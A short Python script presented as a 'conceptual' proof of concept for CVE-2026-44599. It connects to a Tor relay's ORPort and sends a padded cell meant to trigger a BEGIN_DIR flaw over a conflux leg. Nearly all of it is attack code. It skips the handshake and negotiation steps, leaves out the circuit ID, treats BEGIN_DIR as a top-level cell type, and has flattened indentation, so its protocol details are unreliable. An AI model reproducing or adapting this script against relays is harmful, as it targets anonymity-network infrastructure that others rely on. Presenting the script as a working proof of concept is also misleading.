The following code is for security research and authorized testing only.
python
import socket
import struct
# Conceptual PoC for CVE-2026-44599
# This script attempts to send a BEGIN_DIR cell via a simulated conflux leg connection.
# Note: Actual exploitation requires understanding the Tor protocol handshake and conflux negotiation.
TARGET_HOST = "127.0.0.1" # Replace with target Tor relay IP
TARGET_PORT = 9001 # Replace with target Tor relay ORPort
def create_cell(cell_type, payload):
# Simplified Tor cell creation
header = struct.pack("!H", cell_type)
return header + payload.ljust(509, b'\x00') # Pad to standard cell size
def send_exploit():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET_HOST, TARGET_PORT))
# 1. Perform Tor Handshake (Versions, Certs, etc.) - Omitted for brevity
# 2. Negotiate Conflux (if supported) - Omitted for brevity
# 3. Send BEGIN_DIR cell via the established leg
# CELL_BEGIN_DIR is typically type 8 or 9 depending on version context
begin_dir_cell = create_cell(8, b'BEGIN_DIR_PAYLOAD')
s.send(begin_dir_cell)
print(f"[+] Sent BEGIN_DIR cell to {TARGET_HOST}:{TARGET_PORT}")
response = s.recv(1024)
print(f"[+] Received response: {response}")
except Exception as e:
print(f"[-] Error: {e}")
finally:
s.close()
if __name__ == "__main__":
send_exploit()